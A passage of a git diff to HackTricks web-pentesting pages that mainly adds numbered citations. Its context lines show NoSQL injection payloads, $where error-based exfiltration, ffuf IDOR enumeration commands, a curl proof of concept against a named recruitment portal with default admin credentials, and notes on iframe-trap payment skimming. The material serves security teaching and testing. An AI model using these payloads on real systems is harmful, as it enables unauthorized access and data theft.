Attacks](https://portswigger.net/research/browser-powered-desync-attacks) +- [2] [PortSwigger Academy - Client‑Side Desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) +- [3] [PortSwigger Research - Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md b/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md index 6e2baf77128..1140d4c01ce 100644 --- a/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md +++ b/src/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -HTTP/2 is generally considered immune to classic request-smuggling because the length of each DATA frame is explicit. **That protection disappears as soon as a front-end proxy “downgrades” the request to HTTP/1.x before forwarding it to a back-end**. The moment two different parsers (the HTTP/2 front-end and the HTTP/1 back-end) try to agree on where one request ends and the next begins, all the old desync tricks come back – plus a few HTTP/2-only injection gadgets. +HTTP/2 is generally considered immune to classic request-smuggling because the length of each DATA frame is explicit. **That protection disappears as soon as a front-end proxy “downgrades” the request to HTTP/1.x before forwarding it to a back-end**. The moment two different parsers (the HTTP/2 front-end and the HTTP/1 back-end) try to agree on where one request ends and the next begins, all the old desync tricks come back – plus a few HTTP/2-only injection gadgets.[[1]](#references) -Recent desync research reached the same conclusion from the defensive side: **HTTP/2 at the edge does not save you if the proxy still speaks HTTP/1.1 upstream**. The downgrade boundary is the attack surface. +Recent desync research reached the same conclusion from the defensive side: **HTTP/2 at the edge does not save you if the proxy still speaks HTTP/1.1 upstream**. The downgrade boundary is the attack surface.[[2]](#references) --- ## Why downgrades happen @@ -71,7 +71,7 @@ If you can only poison requests on your **own** client-mapped upstream connectio --- ## Modern downgrade-only injection gadgets -Many modern front-ends already strip a literal `transfer-encoding: chunked` header. Recent findings often work by **manufacturing dangerous HTTP/1.1 bytes during the downgrade itself** rather than sending them as a normal header. +Many modern front-ends already strip a literal `transfer-encoding: chunked` header. Recent findings often work by **manufacturing dangerous HTTP/1.1 bytes during the downgrade itself** rather than sending them as a normal header.[[1]](#references) ### CRLF / LF injection in header values @@ -119,7 +119,7 @@ For proxy-specific quirks and tunnel-focused payloads, see [Upgrade Header Smugg --- ## Notable real-world examples -* **2025 desync research** – large shared edge providers were still exploitable because the dangerous trust boundary remained **upstream HTTP/1.1**, not the client-facing HTTP/2 session. +* **2025 desync research** – large shared edge providers were still exploitable because the dangerous trust boundary remained **upstream HTTP/1.1**, not the client-facing HTTP/2 session.[[2]](#references) * **CVE-2023-25690** – Apache HTTP Server `mod_proxy` rewrite rules could be chained into request splitting and smuggling when rewritten bytes were forwarded downstream. (fixed in 2.4.56) * **CVE-2023-25950** – HAProxy 2.7.0 and 2.6.1-2.6.7 had an HTTP request/response smuggling issue in HTX handling that could alter a legitimate user’s request. * **CVE-2022-41721** – Go `MaxBytesHandler` left unread body bytes that could later be interpreted as **HTTP/2** frames, showing how “leftover bytes become a new protocol message” is not limited to classic H1 desync. @@ -157,7 +157,7 @@ For proxy-specific quirks and tunnel-focused payloads, see [Upgrade Header Smugg --- ## References -- [PortSwigger Research - HTTP/2: The Sequel is Always Worse](https://portswigger.net/research/http2) -- [PortSwigger Research - HTTP/1.1 must die: the desync endgame](https://portswigger.net/research/http1-must-die) +- [1] [PortSwigger Research - HTTP/2: The Sequel is Always Worse](https://portswigger.net/research/http2) +- [2] [PortSwigger Research - HTTP/1.1 must die: the desync endgame](https://portswigger.net/research/http1-must-die) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md index 128774b253f..4b2f4111d82 100644 --- a/src/pentesting-web/http-response-smuggling-desync.md +++ b/src/pentesting-web/http-response-smuggling-desync.md @@ -96,7 +96,7 @@ Following the previous example, knowing that you can **control the body** of the ### TRACE as a reflection gadget -A very practical update is to use a **smuggled `TRACE` request** as the response-body generator when the target has no obvious reflection endpoint. `TRACE` reflects the request received by the backend, often including proxy-added headers (`X-Forwarded-For`, downgraded `HTTP/1.1` start-lines, etc.), so it can be combined with a smuggled `HEAD` to turn a queue desync into **attacker-controlled reflected bytes** in the victim response. +A very practical update is to use a **smuggled `TRACE` request** as the response-body generator when the target has no obvious reflection endpoint. `TRACE` reflects the request received by the backend, often including proxy-added headers (`X-Forwarded-For`, downgraded `HTTP/1.1` start-lines, etc.), so it can be combined with a smuggled `HEAD` to turn a queue desync into **attacker-controlled reflected bytes** in the victim response.[[1]](#references) Typical pattern: @@ -166,7 +166,7 @@ Therefore, the **next request of the second victim** will be **receiving** as ** ## New response-side discrepancies worth testing (2024-2025) -Recent research shows that response desync is **not limited to HEAD-only tricks**. When auditing modern stacks, also test response translation layers and not just classic CL.TE / TE.CL ambiguities in requests: +Recent research shows that response desync is **not limited to HEAD-only tricks**. When auditing modern stacks, also test response translation layers and not just classic CL.TE / TE.CL ambiguities in requests:[[2]](#references) - **Response TE.CL / dechunk-vs-length mismatches**: one hop dechunks a backend response or strips `Transfer-Encoding`, while another hop still trusts `Content-Length`. This can transform backend bytes into a forged follow-up response. - **Response-order bugs**: some multi-endpoint frameworks can map responses to the wrong request even without a textbook CL.TE primitive, enabling **response stealing**. @@ -177,15 +177,11 @@ From an offensive point of view, this means it is worth testing **legacy methods ## Tooling notes - **Burp HTTP Request Smuggler** remains the most practical day-to-day option to probe these bugs, especially when you need to chain a desync into response stealing or cache poisoning. -- If you are reviewing implementations from source code, **gray-box differential fuzzing** is now practical enough to find discrepancies in **HTTP requests, HTTP responses, and CGI responses**, not only in front-end request parsing. - - +- If you are reviewing implementations from source code, **gray-box differential fuzzing** is now practical enough to find discrepancies in **HTTP requests, HTTP responses, and CGI responses**, not only in front-end request parsing.[[2]](#references) ## References -- [PortSwigger - Making desync attacks easy with TRACE](https://portswigger.net/research/trace-desync-attack) -- [USENIX Security 2025 - The Silent Danger in HTTP: Identifying HTTP Desync Vulnerabilities with Gray-box Testing](https://www.usenix.org/system/files/usenixsecurity25-mu.pdf) - - +- [1] [PortSwigger - Making desync attacks easy with TRACE](https://portswigger.net/research/trace-desync-attack) +- [2] [USENIX Security 2025 - The Silent Danger in HTTP: Identifying HTTP Desync Vulnerabilities with Gray-box Testing](https://www.usenix.org/system/files/usenixsecurity25-mu.pdf) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 3f939e4a251..d23912fd3a9 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -16,7 +16,7 @@ Successful exploitation normally allows horizontal or vertical privilege-escalat 2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`). 3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists. 4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs. -5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR. +5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR.[[3]](#references) ### Quick manual tampering (Burp Repeater) ``` @@ -39,7 +39,7 @@ done ``` ### Enumerating predictable download IDs (ffuf) -Authenticated file-hosting panels often store per-user metadata in a single `files` table and expose a download endpoint such as `/download.php?id=`. If the handler only checks whether the ID exists (and not whether it belongs to the authenticated user), you can sweep the integer space with your valid session cookie and steal other tenants' backups/configs: +Authenticated file-hosting panels often store per-user metadata in a single `files` table and expose a download endpoint such as `/download.php?id=`. If the handler only checks whether the ID exists (and not whether it belongs to the authenticated user), you can sweep the integer space with your valid session cookie and steal other tenants' backups/configs:[[5]](#references) ```bash ffuf -u http://file.era.htb/download.php?id=FUZZ \ @@ -57,7 +57,7 @@ jq -r '.results[].url' hits.json # fetch surviving IDs such as company backup ### Authenticated combinatorial enumeration (ffuf + jq) -Some IDORs accept **multiple object IDs** (e.g., chat threads between two users). If the app only checks that you're logged in, you can fuzz both IDs while keeping your session cookie: +Some IDORs accept **multiple object IDs** (e.g., chat threads between two users). If the app only checks that you're logged in, you can fuzz both IDs while keeping your session cookie:[[6]](#references) ```bash ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \ @@ -76,7 +76,7 @@ jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .u ### Error-response oracle for user/file enumeration -When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=&file=`), subtle differences in error messages often create an oracle: +When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=&file=`), subtle differences in error messages often create an oracle:[[4]](#references) - Non-existent username → "User not found" - Bad filename but valid extension → "File does not exist" (sometimes also lists available files) @@ -102,7 +102,7 @@ During an assessment of the Paradox.ai-powered **McHire** recruitment portal the * Authorization: user session cookie for **any** restaurant test account * Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier -By decreasing `lead_id` the tester retrieved arbitrary applicants’ **full PII** (name, e-mail, phone, address, shift preferences) plus a consumer **JWT** that allowed session hijacking. Enumeration of the range `1 – 64,185,742` exposed roughly **64 million** records. +By decreasing `lead_id` the tester retrieved arbitrary applicants’ **full PII** (name, e-mail, phone, address, shift preferences) plus a consumer **JWT** that allowed session hijacking. Enumeration of the range `1 – 64,185,742` exposed roughly **64 million** records.[[1]](#references) Proof-of-Concept request: ```bash @@ -111,11 +111,11 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -d '{"lead_id":64185741}' ``` -Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach. +Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.[[1]](#references) ### Case Study – Wristband QR codes as weak bearer tokens (2025–2026) -*Flow:* Exhibition visitors received QR-coded wristbands; scanning `https://homeofcarlsberg.com/memories/` let the browser take the **printed wristband ID**, hex-encode it, and call a `cloudfunctions.net` backend to fetch stored media (photos/videos + names). There was **no session binding** or user authentication—**knowledge of the ID = authorization**. +*Flow:* Exhibition visitors received QR-coded wristbands; scanning `https://homeofcarlsberg.com/memories/` let the browser take the **printed wristband ID**, hex-encode it, and call a `cloudfunctions.net` backend to fetch stored media (photos/videos + names). There was **no session binding** or user authentication—**knowledge of the ID = authorization**.[[7]](#references) *Predictability:* Wristband IDs followed a short pattern such as `C-285-100` → ASCII hex `432d3238352d313030` (`43 2d 32 38 35 2d 31 30 30`). The space was estimated at ~26M combinations, trivial to exhaust online. @@ -146,7 +146,7 @@ for band_id in ["C-285-100", "T-544-492"]: * Horizontal escalation – read/update/delete **other users’** data. * Vertical escalation – low privileged user gains admin-only functionality. * Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices). -* Account takeover by stealing tokens or resetting passwords of other users. +* Account takeover by stealing tokens or resetting passwords of other users.[[2]](#references) --- ## 4. Mitigations & Best Practices @@ -155,7 +155,7 @@ for band_id in ["C-285-100", "T-544-492"]: 3. Perform authorization **server-side**, never rely on hidden form fields or UI controls. 4. Implement **RBAC / ABAC** checks in a central middleware. 5. Add **rate-limiting & logging** to detect enumeration of IDs. -6. Security test every new endpoint (unit, integration, and DAST). +6. Security test every new endpoint (unit, integration, and DAST).[[2]](#references) --- ## 5. Tooling @@ -166,11 +166,13 @@ for band_id in ["C-285-100", "T-544-492"]: ## References -* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) -* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) -* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) -* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) -* [0xdf – HTB Era: predictable download IDs → backups and signing keys](https://0xdf.gitlab.io/2025/11/29/htb-era.html) -* [0xdf – HTB: Guardian](https://0xdf.gitlab.io/2026/02/28/htb-guardian.html) -* [Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)](https://www.pentestpartners.com/security-blog/carlsberg-probably-not-the-best-cybersecurity-in-the-world/) + +- [1] [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) +- [2] [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) +- [3] [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +- [4] [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [5] [0xdf – HTB Era: predictable download IDs → backups and signing keys](https://0xdf.gitlab.io/2025/11/29/htb-era.html) +- [6] [0xdf – HTB: Guardian](https://0xdf.gitlab.io/2026/02/28/htb-guardian.html) +- [7] [Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)](https://www.pentestpartners.com/security-blog/carlsberg-probably-not-the-best-cybersecurity-in-the-world/) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/iframe-traps.md b/src/pentesting-web/iframe-traps.md index b7a1f01be3f..3544f6f8939 100644 --- a/src/pentesting-web/iframe-traps.md +++ b/src/pentesting-web/iframe-traps.md @@ -4,7 +4,7 @@ ## Basic Information -This technique abuses **same-origin XSS** to keep code execution alive while the victim keeps browsing the application. The classic write-ups were published by TrustedSec [here](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) and [here](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams). +This technique abuses **same-origin XSS** to keep code execution alive while the victim keeps browsing the application. The classic write-ups were published by TrustedSec [here](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) and [here](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).[[1]](#references)[[2]](#references) The idea is to land the victim on a page vulnerable to XSS and then **trap the rest of their navigation inside a full-page iframe**. If the victim keeps clicking links, submitting forms, and moving through the application **inside the frame**, the original attacker-controlled page stays alive in the top window and can keep collecting data. @@ -82,14 +82,14 @@ if (window.top === window.self) { ## Overlay & skimmer usage -- Compromised checkout pages can **hide a legitimate hosted payment iframe and overlay it with a pixel-perfect fake collector** that forwards or replays data while the real payment flow still succeeds. -- A more aggressive variant is to **rewrite the URL of the hosted-field iframe itself** so the browser loads an attacker-controlled frame that proxies the PSP flow and skims PAN/CVV inside the iframe context. +- Compromised checkout pages can **hide a legitimate hosted payment iframe and overlay it with a pixel-perfect fake collector** that forwards or replays data while the real payment flow still succeeds.[[4]](#references) +- A more aggressive variant is to **rewrite the URL of the hosted-field iframe itself** so the browser loads an attacker-controlled frame that proxies the PSP flow and skims PAN/CVV inside the iframe context.[[4]](#references) - Trapping users in the top frame is also useful for collecting **autofill/password-manager** data before they notice the real browser URL never changed. ## Recent chaining ideas -- **POST-only reflected XSS** can be upgraded into a usable trap by landing the victim on the poisoned response with CSRF or an auto-submitting form, and then immediately switching into iframe-trap mode so the payload survives after the first POST response. -- **`credentialless` iframe chains** can turn some self-XSS/login-CSRF scenarios into practical account-takeover paths without destroying the victim's live session. The full details are better covered in [Iframes in XSS, CSP and SOP](xss-cross-site-scripting/iframes-in-xss-and-csp.md). +- **POST-only reflected XSS** can be upgraded into a usable trap by landing the victim on the poisoned response with CSRF or an auto-submitting form, and then immediately switching into iframe-trap mode so the payload survives after the first POST response.[[3]](#references) +- **`credentialless` iframe chains** can turn some self-XSS/login-CSRF scenarios into practical account-takeover paths without destroying the victim's live session.[[3]](#references) The full details are better covered in [Iframes in XSS, CSP and SOP](xss-cross-site-scripting/iframes-in-xss-and-csp.md). ## Quick OPSEC tips @@ -109,6 +109,9 @@ xss-cross-site-scripting/iframes-in-xss-and-csp.md ## References -- [Make Self-XSS Great Again](https://blog.slonser.info/posts/make-self-xss-great-again/) -- [New Stealth Magecart Attack Bypasses Payment Services Using Iframes](https://www.humansecurity.com/learn/blog/new-stealth-magecart-attack-bypasses-payment-services-using-iframes/) +- [1] [Persisting XSS with iframe traps](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) +- [2] [JS-Tap: Weaponizing JavaScript for Red Teams](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams) +- [3] [Make Self-XSS Great Again](https://blog.slonser.info/posts/make-self-xss-great-again/) +- [4] [New Stealth Magecart Attack Bypasses Payment Services Using Iframes](https://www.humansecurity.com/learn/blog/new-stealth-magecart-attack-bypasses-payment-services-using-iframes/) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index 7a30b0bc97e..8f7edcddb03 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -4,7 +4,7 @@ ## Go JSON Decoder -The following issues were detected in the Go JSON although they could be present in other languages as well. These issues were published in [**this blog post**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). +The following issues were detected in the Go JSON although they could be present in other languages as well. These issues were published in [**this blog post**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).[[1]](#references) Go’s JSON, XML, and YAML parsers have a long trail of inconsistencies and insecure defaults that can be abused to **bypass authentication**, **escalate privileges**, or **exfiltrate sensitive data**. @@ -136,7 +136,7 @@ Result: ### SnakeYAML Deserialization RCE (CVE-2022-1471) -* Affects: `org.yaml:snakeyaml` < **2.0** (used by Spring-Boot, Jenkins, etc.). +* Affects: `org.yaml:snakeyaml` < **2.0** (used by Spring-Boot, Jenkins, etc.).[[2]](#references) * Root cause: `new Constructor()` deserializes **arbitrary Java classes**, allowing gadget chains that culminate in remote-code execution. * One-liner PoC (will open the calculator on vulnerable host): ```yaml @@ -150,7 +150,7 @@ Result: * Affects: `libyaml` ≤0.2.5 (C library leveraged by many language bindings). * Issue: Calling `yaml_event_delete()` twice leads to a double-free that attackers can turn into DoS or, in some scenarios, heap exploitation. -* Status: Upstream rejected as “API misuse”, but Linux distributions shipped patched **0.2.6** that null-frees the pointer defensively. +* Status: Upstream rejected as “API misuse”, but Linux distributions shipped patched **0.2.6** that null-frees the pointer defensively.[[3]](#references) ### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) @@ -180,7 +180,8 @@ mass-assignment-cwe-915.md ## References -- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0” -- Ubuntu Security Tracker – CVE-2024-35325 (libyaml) +- [1] [Trail of Bits – Unexpected security footguns in Go's parsers](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/) +- [2] [Baeldung – Resolving CVE-2022-1471 With SnakeYAML 2.0](https://www.baeldung.com/spring-boot-snakeyaml-2-0-cve-2022-1471-issue) +- [3] [Ubuntu Security Tracker – CVE-2024-35325 (libyaml)](https://ubuntu.com/security/CVE-2024-35325) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index 186d74ac21b..cf7551d98be 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -8,7 +8,6 @@ **If you want to know what is LDAP access the following page:** - {{#ref}} ../network-services-pentesting/pentesting-ldap.md {{#endref}} @@ -216,7 +215,6 @@ intitle:"phpLDAPadmin" inurl:cmd.php ### More Payloads - {{#ref}} https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection {{#endref}} diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md index d7bce523444..9c72ada7d7f 100644 --- a/src/pentesting-web/login-bypass/README.md +++ b/src/pentesting-web/login-bypass/README.md @@ -12,7 +12,7 @@ If you find a login page, here you can find some techniques to try to bypass it: - Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b` - **Change content type to json** and send json values (bool true included) - If you get a response saying that POST is not supported you can try to send the **JSON in the body but with a GET request** with `Content-Type: application/json` -- Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1` +- Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`[[1]](#references) - Nodejs will transform that payload to a query similar to the following one: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` which makes the password bit to be always true. - If you can send a JSON object you can send `"password":{"password": 1}` to bypass the login. - Remember that to bypass this login you still need to **know and send a valid username**. @@ -88,7 +88,7 @@ Pages usually redirects users after login, check if you can alter that redirect ### Client-side authentication & authorization bypass in SPAs -Some applications only protect routes/actions in the **frontend** (route guards, hidden buttons, `localStorage` / `sessionStorage`, feature flags, or JSON fields such as `role`, `groups`, `is_active`, `PluginId`, `TimeoutStatus`). If the **backend APIs don't re-check authentication and authorization**, you can often unlock the whole UI or perform the action directly. +Some applications only protect routes/actions in the **frontend** (route guards, hidden buttons, `localStorage` / `sessionStorage`, feature flags, or JSON fields such as `role`, `groups`, `is_active`, `PluginId`, `TimeoutStatus`). If the **backend APIs don't re-check authentication and authorization**, you can often unlock the whole UI or perform the action directly.[[2]](#references) Quick workflow: @@ -114,12 +114,9 @@ Common patterns: - [HTLogin](https://github.com/akinerkisa/HTLogin) - - ## References -- [Client-side Authentication Bypass](https://kuldeep.io/posts/client-side-authentication-bypass/) +- [1] [Finding an unseen SQL injection by bypassing escape functions in mysqljs/mysql](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4) +- [2] [Client-side Authentication Bypass](https://kuldeep.io/posts/client-side-authentication-bypass/) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/login-bypass/sql-login-bypass.md b/src/pentesting-web/login-bypass/sql-login-bypass.md index 583a3b07e53..cda3fd391d1 100644 --- a/src/pentesting-web/login-bypass/sql-login-bypass.md +++ b/src/pentesting-web/login-bypass/sql-login-bypass.md @@ -814,8 +814,5 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")# %bf')||1-- 2 ``` - {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/mass-assignment-cwe-915.md b/src/pentesting-web/mass-assignment-cwe-915.md index 9414c06aad8..cb18e9824d4 100644 --- a/src/pentesting-web/mass-assignment-cwe-915.md +++ b/src/pentesting-web/mass-assignment-cwe-915.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -Mass assignment (a.k.a. insecure object binding / autobinding / over-posting) happens when an API/controller takes user-supplied JSON and directly binds it to a server-side model/entity without an explicit allow-list of fields. If privileged properties like roles, `isAdmin`, `status`, ownership fields, or backend-only processing options are bindable, any authenticated user can escalate privileges, tamper with protected state, or steer downstream code paths. +Mass assignment (a.k.a. insecure object binding / autobinding / over-posting) happens when an API/controller takes user-supplied JSON and directly binds it to a server-side model/entity without an explicit allow-list of fields. If privileged properties like roles, `isAdmin`, `status`, ownership fields, or backend-only processing options are bindable, any authenticated user can escalate privileges, tamper with protected state, or steer downstream code paths.[[5]](#references) -This is a Broken Access Control issue (OWASP A01:2021). In API-centric applications it now fits neatly into **OWASP API3:2023 Broken Object Property Level Authorization (BOPLA)**, which merged the old API6:2019 Mass Assignment and API3:2019 Excessive Data Exposure categories. It commonly affects frameworks that support automatic binding of request bodies to data models (Rails, Laravel/Eloquent, Django forms/serializers, Spring/Jackson, ASP.NET model binding, Express/Mongoose, Sequelize, Go structs, FastAPI/Pydantic, etc.). +This is a Broken Access Control issue (OWASP A01:2021). In API-centric applications it now fits neatly into **OWASP API3:2023 Broken Object Property Level Authorization (BOPLA)**, which merged the old API6:2019 Mass Assignment and API3:2019 Excessive Data Exposure categories. It commonly affects frameworks that support automatic binding of request bodies to data models (Rails, Laravel/Eloquent, Django forms/serializers, Spring/Jackson, ASP.NET model binding, Express/Mongoose, Sequelize, Go structs, FastAPI/Pydantic, etc.).[[4]](#references) ## 1) Finding Mass Assignment -Look for self-service endpoints that create or update objects: +Look for self-service endpoints that create or update objects:[[2]](#references) - `PUT/PATCH /api/users/{id}` - `PATCH /me`, `PUT /profile` - `PUT /api/orders/{id}` @@ -69,7 +69,7 @@ curl -s https://target.example/api/users/12934 -H "Authorization: Bearer $TOKEN" ## 2) Exploitation – Role Escalation via Mass Assignment -Once you know the bindable shape, include the privileged property in the same request. +Once you know the bindable shape, include the privileged property in the same request.[[1]](#references)[[3]](#references) Example: set `roles` to `ADMIN` on your own user resource: ```http @@ -251,10 +251,10 @@ class UserUpdate(BaseModel): ## References -- [FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)](https://ian.sh/fia) -- [OWASP Web Security Testing Guide - Testing for Mass Assignment](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/20-Testing_for_Mass_Assignment) -- [PortSwigger Web Security Academy - Exploiting a mass assignment vulnerability](https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability) -- [OWASP API3:2023 - Broken Object Property Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/) -- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) +- [1] [FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)](https://ian.sh/fia) +- [2] [OWASP Web Security Testing Guide - Testing for Mass Assignment](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/20-Testing_for_Mass_Assignment) +- [3] [PortSwigger Web Security Academy - Exploiting a mass assignment vulnerability](https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability) +- [4] [OWASP API3:2023 - Broken Object Property Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/) +- [5] [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 7379e7eedce..e1cfe0573a5 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -6,7 +6,7 @@ In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter[arrName]=foo._ -The exploits are based in adding an **Operator**: +The exploits are based in adding an **Operator**:[[1]](#references)[[2]](#references) ```bash username[$ne]=1$password[$ne]=1 # @@ -21,7 +21,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #[[3]](#references)[[4]](#references) ```bash #in URL @@ -41,7 +41,7 @@ username[$exists]=true&password[$exists]=true query = { $where: `this.username == '${username}'` } ``` -An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`. +An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`.[[3]](#references) ``` Normal sql: ' or 1=1-- - @@ -92,7 +92,7 @@ in JSON ### PHP Arbitrary Function Execution -Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/). +Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/).[[10]](#references) ```python "user":{"$func": "var_dump"} @@ -128,13 +128,13 @@ It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference ### Error-Based Injection -Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example: +Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example:[[5]](#references) ```json { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } ``` -If the application only leaks the first failing document, keep the dump deterministic by excluding documents you already recovered. Comparing against the last leaked `_id` is an easy paginator: +If the application only leaks the first failing document, keep the dump deterministic by excluding documents you already recovered. Comparing against the last leaked `_id` is an easy paginator:[[5]](#references) ```json { "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" } @@ -142,7 +142,7 @@ If the application only leaks the first failing document, keep the dump determin ### Beating pre/post conditions in syntax injection -When the application builds the Mongo filter as a **string** before parsing it, syntax injection is no longer limited to a single field and you can often neutralize surrounding conditions. +When the application builds the Mongo filter as a **string** before parsing it, syntax injection is no longer limited to a single field and you can often neutralize surrounding conditions.[[8]](#references) In `$where` injections, JavaScript truthy values and poison null bytes are still useful to kill trailing clauses: @@ -169,17 +169,17 